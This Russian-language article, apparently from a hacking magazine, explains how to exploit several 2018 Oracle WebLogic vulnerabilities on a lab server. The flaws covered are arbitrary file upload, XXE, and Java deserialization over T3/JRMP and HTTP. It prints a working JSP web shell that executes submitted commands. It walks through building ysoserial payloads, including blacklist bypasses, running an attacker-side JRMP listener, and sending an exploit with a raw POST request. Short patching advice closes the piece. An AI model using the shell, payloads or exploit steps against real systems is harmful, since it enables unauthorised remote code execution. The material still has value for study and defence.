Oracle WebLogic — это решение для построения сервис-ориентированной архитектуры (SOA), создания функциональных пакетов разного уровня связанности и сложности.
Под угрозой оказались все актуальные версии приложения — 10.3.6.0, 12.1.3.0, 12.2.1.3 и ниже.
Уязвимости
CVE-2018-2894 позволяет загружать произвольные файлы в систему, в том числе исполняемые (типа JSP), которые затем доступны через веб.
CVE-2018-2628, CVE-2018-3252 — выполнение произвольного кода при помощи протокола JRMP.
CVE-2018-3191 — выполнение произвольного кода путем десериализации произвольных объектов Java, переданных через POST-запрос.
Стенд
Я буду поднимать сервер WebLogic версии 12.2.1.3.0 на системе Windows. Скачиваем инсталлятор с официального сайта Oracle из раздела Downloads. Для корректной установки и работы WebLogic потребуется JDK выше 1.8.0.130.
java.exe -jar fmw_12.2.1.3.0_wls_quick.jar
Если хочешь использовать версию ниже, то можешь отключить эту проверку, добавив ключ -ignoreSysPrereqs
.

Теперь нужно создать домен WebLogic. Для этого запускаем конфигуратор из домашней директории сервера:
oracle_common\common\bin\config.cmd

На первом этапе нужно указать, куда будут сохранены всевозможные конфиги и прочие причиндалы для новоиспеченного домена. Рекомендую оставить по дефолту, для теста это абсолютно неважно.
На втором этапе выбираем все возможные шаблоны.

Затем указываем связку логин-пароль для админа, режим работы домена — «разработка» или production. А также можно дополнительно настроить порты и сетевые устройства, на которых будет висеть сервер. Для этого отмечай галкой Administration Server в разделе Advanced Configuration.

После этого жмем на кнопку Create, откидываемся на спинку кресла и ждем создания нового домена. Это быстро, так что далеко откинуться не успеешь.

Теперь жмем на Next и попадаем на последнее окно, где можно отметить галочкой пункт Start Admin Server для немедленного запуска того, что мы наконфигурировали. Жмем на Finish. Если галочкой ты не воспользовался, то запустить сервер можно также через командную строку. Для этого заходим в домашнюю директорию WebLogic и выполняем
user_projects\domains\base_domain\startWebLogic.cmd
Разумеется, путь актуален, если ты не менял дефолтные настройки при создании домена.

Те, кто не любит сложности, могут использовать Docker и готовый образ с VulHub. Готовый стенд поднимается одной командой:
docker run -p7001:7001 --name weblogic --rm vulhub/weblogic:12.2.1.3
Это версия 12.2.1.3, а если нужна 10.3.6.0, то выполняй
docker run -p7001:7001 --name weblogic --rm vulhub/weblogic
Загрузка произвольных файлов на сервер (CVE-2018-2893, CVE-2018-2894)
Первая уязвимость присутствует в компоненте Web Services Test Client
. Он доступен по адресу /ws_utc/. Перейдя на него, ты увидишь окно авторизации.

Однако не спеши закрывать окно и расстраиваться, ведь разработчики забыли кое-что важное — добавить проверку на валидную сессию в раздел конфигурации данного раздела. И если сервер работает в режиме development, то получить к нему доступ можно, просто перейдя на /ws_utc/config.do.
ws-testpage-impl.jar.src/com/oracle/webservices/testclient/web/Processor.java
40: public Forward config() {
41: if (RequestUtil.isProductionMode()) {
42: this.response.setStatus(503);
43: return null;
44: }
45: String defaultType = this.request.getParameter("default");
46: if (defaultType == null) {
47: defaultType = "";
48: }
49: this.request.setAttribute("default", defaultType);
50: return new Forward("setting");
51: }

Основные исходники этого компонента ты найдешь в файле
<weblogic_home>/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/WEB-INF/lib/ws-testpage-impl.jar
Уже можно вооружаться JD-GUI или воспользоваться онлайновым декомпилятором, чтобы посмотреть поближе на логику работы приложения.
Надеюсь, ты помнишь про настройку Work Home Dir
на странице конфига? В ней указывается путь, где расположены файлы, нужные для работы тестового клиента, причем есть возможность этот путь менять. После внесения изменений уже существующая структура, включая файлы и папки, переносится из старой директории в новую.
ws-testpage-impl.jar.src/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.java
61: public void changeWorkDir(String path) {
62: String[] oldPaths = getRelatedPaths();
63:
64: if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
65: this.isWorkDirChangeable = false;
66: this.isWorkDirWritable = isDirWritable(path);
67: this.isWorkDirChangeable = true;
68: setTestClientWorkDir(path);
69: } else {
70: persistWorkDir(path);
71: init();
72: }
73:
74: if (this.isWorkDirWritable) {
75: String[] newPaths = getRelatedPaths();
76: moveDirs(oldPaths, newPaths);
Следующий шаг в нашем списке дел — это найти такую директорию, которая будет доступна из веба. Отлично подойдет css
, она расположена примерно по тому же пути, где валялся jar: <weblogic_home>/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
. В зависимости от имени сервера будет изменяться часть AdminServer
, а в зависимости от версии WebLogic — часть 4mcj4y
. После того как мы сохраним изменения, вся структура приложения будет доступна из веба. Пока там у нас только один конфиг general, но это ненадолго.

Поменяв рабочую директорию, переходим в раздел Security. Там имеется возможность загружать файлы ключевых хранилищ (keystore).

Жми на кнопку Add
, выбирай любой файл, а дальше Submit
.

При загрузке файла запрос улетает на /ws_utc/resources/setting/keystore?timestamp=1540385552610
, где параметр timestamp
отвечает за время отправки POST-запроса. Логика обработки формы типа multipart/form-data
расположена в файле RSDataHelper.java
.
ws-testpage-impl.jar.src/com/oracle/webservices/testclient/ws/res/SettingResource.java
186: @Path("/keystore")
187: @POST
188: @Produces({"application/xml", "application/json"})
189: @Consumes({"multipart/form-data"})
190: public Response editKeyStoreSettingByMultiPart(org.glassfish.jersey.media.multipart.FormDataMultiPart formPartParams) {
...
200: String currentTimeValue = "" + new Date().getTime();
...
203: KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
Все файлы сохраняются в папку keystore
.
ws-testpage-impl.jar.src/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.java
29: public static String getKeyStorePath() {
30: return getConfigDir() + File.separator + "keystore";
31: }
А в качестве префикса используется текущая дата в формате времени Unix.
ws-testpage-impl.jar.src/com/oracle/webservices/testclient/ws/util/RSDataHelper.java
098: public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path)
099: {
100: return convertFormDataMultiPart(formPartParams, isExtactAttachment, path, null);
101: }
102:
103: public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix)
104: {
...
109: KeyValuesMap<String, String> kvMap = new KeyValuesMapImpl();
110:
111: Map<String, List<FormDataBodyPart>> fieldMap = formPartParams.getFields();
112: Set<String> keySet = fieldMap.keySet();
...
122: String attachName = fdcd.getFileName();
...
131: if (fileNamePrefix == null) {
132: fileNamePrefix = key;
133: }
134: String filename = new File(storePath, fileNamePrefix + "_" + attachName).getAbsolutePath();
135: kvMap.addValue(key, filename);
136:
137: if (isExtactAttachment) {
138: saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
139: }
Поэтому наш файл после загрузки будет доступен по адресу
http://weblogic.vh:7001/ws_utc/css/config/keystore/1540385552726_test.txt

Обрати внимание, что префикс файла не совпадает с параметром timestamp
, который мы передавали в запросе. Чтобы узнать нужный, можно перейти по адресу http://weblogic.vh:7001/ws_utc/resources/setting/keystore
, и там в поле id
будет то, что мы ищем.

Теперь дело за малым. Просто загружаем в качестве ключевого хранилища JSP-шелл. Такой, например.
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<html><body>
<form method="POST" action="">
<input type="text" name="cmd">
<input type="submit" value="send command">
</form>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<br>");
Process p = Runtime.getRuntime().exec("cmd /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</body></html>

Как ты помнишь, мы изменяли рабочую директорию на монструозный путь, который зависит от названия сервера, его версии и прочего. На самом деле есть и другие пути, по которым можно разместить нашу папку. Например,
<домашняя_директория_weblogic>/wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/
в таком случае все загруженные файлы будут доступны по URI /console/framework/skins/wlsconsole/images/config/keystore/.

Если тебя интересует автоматизация эксплуатации, то можно воспользоваться поиском по GitHub. Там такого добра навалом.
С этим делом разобрались, но есть еще одна возможность залить шелл в систему. Тут требуется авторизация, но быстренько пробежимся и по этому методу.
ws-testpage-impl.jar.src/com/oracle/webservices/testclient/web/Processor.java
82: public Forward begin() {
83: if (this.request.getUserPrincipal() != null) {
84: this.request.setAttribute("show_log_out", "true");
85: } else {
86: this.request.setAttribute("show_log_out", "false");
87: }
88: if (RequestUtil.isRequstedByAdmin(this.request)) {
89: this.request.setAttribute("show_setting", "true");
90: } else {
91: this.request.setAttribute("show_setting", "false");
92: }
Авторизуемся админом в Web Services Test Client, по дефолту логин weblogic
. Попадаем на страницу begin.do
.

Теперь включай свой любимый прокси-сниффер и жми на кнопку Import test case. Откроется окно выбора файла для загрузки, выбираем там наш шелл и кликаем на Import.

За загрузку файла отвечает все тот же RSDataHelper.java
.
ws-testpage-impl.jar.src/com/oracle/webservices/testclient/ws/util/RSDataHelper.java
49: public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment)
50: {
51: File pathFile = new File(com.oracle.webservices.testclient.core.ws.cdf.config.parameter.TestClientRT.getUploadDir());
52: if (!pathFile.exists()) {
53: pathFile.mkdirs();
54: }
55:
56: cleanObsoleteFile(pathFile);
57:
58: String dirName = "RS_Upload_" + df.format(new Date());
59: String uploadPath = new File(pathFile, dirName).getAbsolutePath();
60:
61: return convertFormDataMultiPart(formPartParams, isExtactAttachment, uploadPath);
62: }
По дефолту директория, в которую скидываются файлы, имеет префикс RS_Upload_
, также в названии используется текущая дата.
ws-testpage-impl.jar.src/com/oracle/webservices/testclient/ws/action/ImportTestCaseAction.java
41: public ActionData execute(ActionData actionData)
42: {
43: KeyValuesMap<String, String> formParams = (KeyValuesMap)actionData.get("request_form_data");
44: try {
45: String fileName = (String)formParams.getFirstValue("import_file_name");
46: String importId = "" + new Date().getTime();

В ответе сервер вернет ошибку, в которой мы можем видеть полный путь до файла. Она возникает из-за того, что WebLogic пытается выполнить демаршаллинг содержимого, загруженного документа.
ws-testpage-impl.jar.src/com/oracle/webservices/testclient/ws/action/ImportTestCaseAction.java
53: TTestConfig tconfig = (TTestConfig)Unmarshaller.unmarshal(new File(fileName));
Так как мы уже изменяли рабочую директорию, то шелл доступен из веба и можно выполнять команду. Однако, даже когда нет возможности манипулировать параметром WorkDir, есть шанс использовать еще одну уязвимость в названии параметра в форме загрузки. А там у нас path traversal! 🙂

Но это еще не все. Давай передадим вместо шелла простой XML-файл. Если теперь внимательно посмотреть на ошибку сервера, то можно заметить строку Internal Exception: org.xml.sax.SAXParseException
.

Это означает, что содержимое передаваемого файла парсится, что открывает возможность для атаки типа XXE. Эта уязвимость известна под именем CVE-2018-3246. Чтобы ее быстро проэксплуатировать, можно воспользоваться утилитой для раскрутки слепых XML-инъекций, написанной командой ONsec на Ruby, или ее версию на Python.
Не забывай, что разработчики не дремлют и постоянно закручивают гайки. Поэтому на последних версиях Java (1.8 и выше) такой способ эксплуатации уже не прокатит.
Баги десериализации (CVE-2018-2628, CVE-2018-3191, CVE-2018-3252)
В уже далеком 2015 году исследователи из FoxGlove Security обнаружили уязвимость, которая получила идентификатор CVE-2015-4852. Благодаря ей мы больше узнали об атаках десериализации в Java и об использовании базовых классов из Apache Commons Collections для атак типа RCE на такие продукты, как Jenkins, OpenNMS, WebLogic, JBoss, WebSphere. Разработчики из Oracle приняли неоднозначное решение запатчить эту уязвимость, добавив потенциально опасные классы в блек-лист.
public abstract class ClassFilter {
static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";
static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.rmi.disabledefaultblacklist";
static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.disableblacklist";
private static final String DEFAULT_BLACK_LIST = "+org.apache.commons.collections.functors," +
"+com.sun.org.apache.xalan.internal.xsltc.trax," +
Как ты понимаешь, это не лучшее решение, и очень скоро был найден обход и на горизонте показался новый баг — CVE-2016-0638. Исследователи обнаружили функцию readExternal()
класса weblogic.jms.common.StreamMessageImpl
, которая в том числе выполняет десериализацию и не попадает в черный список. Поэтому с новым патчем этот список был расширен.
Этого снова оказалось недостаточно, на проблему обратили внимание большее количество ресерчеров, и вскоре появился байпас патча. Новая уязвимость получила идентификатор CVE-2016-3510.
Здесь черный список обходится при помощи weblogic.corba.utils.MarshalledObject
. В который раз с новым патчем черный список обновляется. Только этого вновь оказалось недостаточно, и свет увидел очередной обход CVE-2017-3248. Тут использовался протокол JRMP (Java Remote Messaging exchange Protocol) в рамках которого возможен обмен сериализованными Java-объектами. Этот протокол — часть системы удаленного выполнения методов (RMI), а он, в свою очередь, работает по TCP/IP.
Эксплоит вызывает RemoteObjectInvocationHandler
, который использует UnicastRef
, чтобы создать соединение по TCP со своей RMI. Так как обмен данными происходит по протоколу JRMP, клиент десериализует все данные, которые ему отправляет сервер, и поэтому становится возможным удаленное выполнение кода. Несомненно, в скором времени патч был выпущен.
И вот мы вплотную подобрались к нашей уязвимости CVE-2018-2628. Посмотрим на то, как реализована защита от предыдущего бага. Для этого заглянем в файл com.oracle.weblogic.rjvm.jar
. В нем находится нужный нам InboundMsgAbbrev.java.
weblogic/rjvm/InboundMsgAbbrev.java
013: final class InboundMsgAbbrev
014: {
...
123: protected Class<?> resolveProxyClass(String[] interfaces)
124: throws IOException, ClassNotFoundException
125: {
126: for (String intf : interfaces) {
127: if (intf.equals("java.rmi.registry.Registry")) {
128: throw new InvalidObjectException("Unauthorized proxy deserialization");
129: }
130: }
131: return super.resolveProxyClass(interfaces);
132: }
Класс resolveProxyClass
проверяет название интерфейса. Если мы пытаемся вызвать java.rmi.registry.Registry
, то система возвращает ошибку. Это все, конечно, хорошо, только вот существует java.rmi.activation.Activator
, который облегчает активацию удаленных объектов. Это значит, что с помощью него также можно устанавливать соединения с атакующим сервером, который отправит пейлоад.
Для этих целей и эксплуатации всевозможных видов атак с применением сериализованных объектов Java есть утилита ysoserial. Последний скомпилированный билд ты всегда можешь скачать с Jitpack, но нам нужно взять существующий шаблон JRMPClient и переписать его в соответствии с нашими реалиями. Поэтому понадобится maven
и клиент Git.
git clone https://github.com/frohoff/ysoserial
cd ysoserial
Нам нужен файл /src/main/java/ysoserial/payloads/JRMPClient.java
. Копируем его под именем JRMPClient2 и переименовываем используемый интерфейс из Registry
в Activator
.
/src/main/java/ysoserial/payloads/JRMPClient2.java
5: import java.rmi.activation.Activator;
...
54: public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
...
56: public Activator getObject ( final String command ) throws Exception {
...
73: Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
74: Activator.class
75: }, obj);
76: return proxy;
77: }
...
81: Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
Теперь нам нужно скомпилировать утилиту.
mvn clean package
Если не хочешь возиться со всем этим, то можно скачать готовый jar из репозитория brianwrf.
WebLogic использует проприетарный протокол T3 для реализации спецификаций RMI. Подключение и общение с сервером через него — отдельная тема, эту часть ты можешь глянуть в эксплоите. А процесс эксплуатации такой.
1. Запускаем сервер JRMP, который будет доставлять полезную нагрузку на сервер:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener <порт> CommonsCollections1 '<команда>'
2. Генерируем пейлоад, который будет отправляться на уязвимый WebLogic-сервер. Здесь используем созданный нами JRMPClient2
. Он заставит его приконнектиться к нашему JRMP-серверу с полезной нагрузкой.
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 <ip_JRMPListener>:<порт_JRMPListener> > payload.raw
3. Подключаемся к WebLogic по протоколу T3 и отправляем ему пейлоад из предыдущего шага.
java -cp target\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "touch /tmp/exploit"
python 44553.py 192.168.99.100 7001 ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.99.1 1099 JRMPClient2

Разработчики были проинформированы и выпустили фикс, но окончательно запатчить эту проблему у них вновь не вышло. Черный список снова вырос в размерах.
private static final String[] DEFAULT_BLACKLIST_PACKAGES = {
"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = {
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };
Его пополнили пакеты java.rmi.activation
, sun.rmi.server
и классы java.rmi.server.UnicastRemoteObject
, java.rmi.server.RemoteObjectInvocationHandler
, но им быстренько нашлась замена в виде java.rmi.server.RemoteObject
. Этот обход (CVE-2018-3245) обнаружил Чжан Чжии (Zhiyi Zhang) из 360 ESG Codesafe Team. Он зарелизил новый пейлоад для ysoserial
.
/ysoserial/src/main/java/ysoserial/payloads/JRMPClient_20180718_bypass01.java
01: package ysoserial.payloads;
02:
03: import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
04: import sun.rmi.server.UnicastRef;
05: import sun.rmi.transport.LiveRef;
06: import sun.rmi.transport.tcp.TCPEndpoint;
07: import ysoserial.payloads.annotation.Authors;
08: import ysoserial.payloads.annotation.PayloadTest;
09: import ysoserial.payloads.util.PayloadRunner;
10:
11: import java.lang.reflect.Proxy;
12: import java.rmi.registry.Registry;
13: import java.rmi.server.ObjID;
14: import java.rmi.server.RemoteObjectInvocationHandler;
15: import java.util.Random;
16:
17:
18: @SuppressWarnings ( {
19: "restriction"
20: } )
21: @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
22: @Authors({ Authors.MBECHLER })
23: public class JRMPClient_20180718_bypass01 extends PayloadRunner implements
24: ObjectPayload<ReferenceWrapper_Stub> {
25: public ReferenceWrapper_Stub getObject ( final String command ) throws Exception {
26:
...
41: ReferenceWrapper_Stub stud = new ReferenceWrapper_Stub(ref);
42: return stud;
...
46: public static void main ( final String[] args ) throws Exception {
47: Thread.currentThread().setContextClassLoader(JRMPClient_20180718_bypass01.class.getClassLoader());
48: PayloadRunner.run(JRMPClient_20180718_bypass01.class, args);
Использовать можно аналогично предыдущему.
Десериализация через POST (CVE-2018-3252)
Вот мы и подобрались к последней уязвимости. Она тоже про десериализацию, но на этот раз через запрос по HTTP. В WebLogic есть сервлет для деплоя. Он вызывается при помощи отправки POST на /bea_wls_deployment_internal/DeploymentService
.
weblogic/deploy/service/internal/transport/http/DeploymentServiceServlet.java
242: private final void internalDoPost(HttpServletRequest req, HttpServletResponse res, AuthenticatedSubject user)
243: throws IOException
244: {
245: String requestType = mimeDecode(req.getHeader("wl_request_type"));
246:
247: try
248: {
...
252: if (requestType.equals("data_transfer_request")) {
253: handleDataTransferRequest(req, res, user);
254: return;
255: }
Тип запроса передается в заголовке wl_request_type
. Если он равен data_transfer_request
, то запрос обрабатывается с помощью handleDataTransferRequest
.
weblogic/deploy/service/internal/transport/http/DeploymentServiceServlet.java
1075: private void handleDataTransferRequest(HttpServletRequest req, HttpServletResponse res, AuthenticatedSubject user)
1076: throws IOException
1077: {
1078: if (isDebugEnabled()) debug("Received DataTransferRequest : ");
1079: String peerVersion = readOrConstructPeerVersion(req);
1080: if (isDebugEnabled()) debug("Peer Version : " + peerVersion);
1081: String reqIdString = req.getHeader("deployment_request_id");
1082: long requestId = reqIdString != null ? Long.parseLong(reqIdString) : -1L;
1083:
1084: String srcServer = mimeDecode(req.getHeader("serverName"));
1085:
1086: ObjectInputStream in = null;
1087: try {
1088: in = new DeploymentObjectInputStream(req.getInputStream(), peerVersion);
1089:
1090: DataTransferRequest request = (DataTransferRequest)in.readObject();
Тело запроса попадает в конструктор класса DeploymentObjectInputStream
, а затем в readObject()
происходит его десериализация. Функция определяет, к какому типу относятся отправленные данные.
weblogic/rjvm/InboundMsgAbbrev.java
44: private Object readObject(MsgAbbrevInputStream in)
45: throws IOException, ClassNotFoundException
46: {
47: int typecode = in.read();
48: switch (typecode)
49: {
50: case 1:
51: return in.readASCII();
52: case 0:
53: return new ServerChannelInputStream(in, null).readObject();
54: }
55: throw new StreamCorruptedException("Unknown typecode: '" + typecode + "'");
56: }
Очень похожее поведение наблюдается при указании в качестве типа запроса deployment_svc_msg
.
weblogic/deploy/service/internal/transport/http/DeploymentServiceServlet.java
249: if (requestType.equals("deployment_svc_msg")) {
250: handleDeploymentServiceMessage(req, res, user);
251: return; }
...
952: private void handleDeploymentServiceMessage(HttpServletRequest req, HttpServletResponse res, AuthenticatedSubject user)
953: throws IOException
954: {
...
979: in = new DeploymentObjectInputStream(req.getInputStream(), peerVersion);
980:
981: DeploymentServiceMessage message = (DeploymentServiceMessage)in.readObject();
Уязвимость возможно проэксплуатировать, только если ты авторизован, поэтому в хидерах также передаем логин и пароль пользователя. Тогда запрос приобретает следующий вид:
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: weblogic.vh:7001
wl_request_type: data_transfer_request
username: weblogic
password: <пароль>
deployment_request_id: 360901
Connection: close
<rce-payload>
PoC еще не всплывал в паблике, поэтому у тебя есть возможность написать его самому. Вооружайся исходниками — и вперед.
Демонстрация уязвимости (видео)
Выводы
Сегодня мы научились выполнять код в WebLogic разными способами. Разобрали, как можно эксплуатировать уязвимости типа десериализация объектов. Попробовали работать с утилитой ysoserial
, делать пейлоады для нее и использовать их в бою.
Чтобы самому не стать жертвой атак такого типа, придерживайся нескольких правил. Старайся всегда использовать последнюю версию дистрибутива Java. Разработчики из Oracle с каждым релизом ужесточают правила безопасности своего продукта. Например, появилась встроенная фильтрация потенциально опасных пользовательских сериализованных данных — JEP290.
Своевременно устанавливай секьюрити-патчи, выпускаемые Oracle. Помимо этого, желательно настроить правила фильтрации протокола T3, чтобы к нему был доступ только с доверенных IP.